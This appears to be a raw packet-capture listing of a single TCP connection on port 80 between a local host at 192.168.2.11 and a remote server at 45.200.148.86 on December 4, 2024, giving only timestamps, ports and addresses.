Dec 4, 2024 15:12:18.806549072 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.806723118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.806771040 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.807430983 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.807442904 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.807482958 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.808043003 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.808167934 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.808219910 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.808765888 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.808850050 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.808891058 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.809922934 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.810101986 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.810142040 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.810554981 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.810729980 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.810777903 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.811239958 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.811348915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.811389923 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.812248945 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.812386036 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.812432051 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.813178062 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.813198090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.813235044 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.817811966 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.962415934 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.962433100 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.962555885 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.962779045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.962862015 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.962908030 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.963447094 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.963664055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.963717937 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.964200020 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.964436054 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.964489937 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.965020895 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.965142965 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.965186119 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.965853930 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.965958118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.966003895 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.966705084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.966746092 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.966789007 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.967528105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.967638016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.967684984 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.968314886 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.968373060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.968410015 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.969101906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.969168901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.969218016 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.969924927 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.969976902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.970017910 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.970777988 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.970875978 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.970921040 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.971599102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.971700907 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.971741915 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.972399950 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.972537041 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.972583055 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.973222017 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.973351002 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.973397017 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.974028111 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.974148035 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.974190950 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.974874020 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.975012064 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.975049019 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.975699902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.975750923 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.975799084 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.976538897 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.976608038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.976648092 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.977374077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.977456093 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.977504015 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.978151083 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.978269100 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.978312016 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.979024887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.979120016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.979172945 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.980036974 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.980083942 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.980128050 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.980895996 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.980920076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.980957985 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.981656075 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.981728077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.981770039 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.982450962 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.982527018 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.982573032 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.983324051 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.983413935 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.983464956 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.988092899 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.988184929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.988198996 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.988226891 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.988326073 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.988338947 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.988351107 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.988362074 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.988378048 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.988406897 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.988507986 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.988528013 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.988543034 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.988553047 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.988581896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.988732100 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.988743067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.988801003 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.989176989 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.989295006 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.989336014 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.989924908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.990181923 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.990216017 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.990879059 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.991061926 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.991101027 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.991682053 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.991718054 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.991759062 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.992233038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.992341995 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.992388010 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.992902040 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.993012905 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.993057966 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.993727922 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.993860960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.993907928 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.994632959 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.994748116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.994788885 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.995394945 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.995492935 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.995543957 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.996177912 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.996280909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.996324062 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.997081995 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.997210979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.997251034 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.997309923 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.997833967 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.997904062 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.997946978 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.998625040 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.998697996 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.998742104 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.999463081 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.999605894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.999649048 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.000292063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.000426054 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.000462055 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.001104116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.001246929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.001293898 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.001967907 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.002182961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.002223969 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.002732038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.002851009 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.002897024 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.003566980 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.003684044 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.003724098 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.004420042 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.004503012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.004547119 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.005242109 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.020816088 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.155683994 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.155699968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.155846119 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.156044960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.156140089 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.156184912 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.156956911 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.157011986 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.157053947 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.157789946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.157896042 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.157941103 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.158504009 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.158627033 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.158665895 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.159324884 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.159416914 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.159460068 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.160098076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.160201073 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.160264015 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.160988092 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.161099911 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.161142111 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.161818027 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.162045002 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.162086964 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.162581921 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.162638903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.162679911 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.163449049 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.163494110 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.163535118 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.164216995 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.164326906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.164366007 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.165090084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.165134907 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.165177107 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.165844917 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.165913105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.165955067 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.166671038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.166805029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.166857004 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.167524099 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.167613983 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.167656898 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.168328047 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.168457985 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.168500900 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.169169903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.169329882 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.169373035 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.170022011 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.170126915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.170177937 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.170838118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.170972109 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.171010971 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.171641111 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.171706915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.171750069 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.172589064 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.172642946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.172691107 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.173376083 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.173542023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.173590899 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.174161911 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.174242020 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.174288034 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.174871922 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.174964905 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.175015926 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.175749063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.175880909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.175929070 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.176522017 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.176691055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.176738977 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.177407026 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.177494049 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.177536964 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.178317070 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.178415060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.178456068 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.179107904 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.179183006 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.179234982 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.179856062 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.179964066 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.180011034 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.180629969 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.180715084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.180758953 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.181497097 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.181628942 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.181668997 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.182322979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.182432890 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.182480097 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.183324099 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.183476925 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.183526993 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.184117079 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.184169054 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.184211969 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.184818029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.184859037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.184906960 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.185556889 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.185700893 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.185750961 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.186355114 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.186469078 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.186520100 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.187199116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.187305927 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.187352896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.187856913 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.187937021 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.187984943 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.188755989 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.188853979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.188896894 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.189779043 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.189877987 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.189923048 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.190382004 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.190447092 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.190489054 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.191101074 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.191261053 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.191302061 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.191411972 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.191937923 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.192151070 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.192193985 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.192764997 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.192889929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.192933083 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.193562031 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.193684101 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.193725109 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.194334984 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.194454908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.194503069 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.195266008 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.195422888 CET	80	49717	45.200.148.86	192.168.2.11
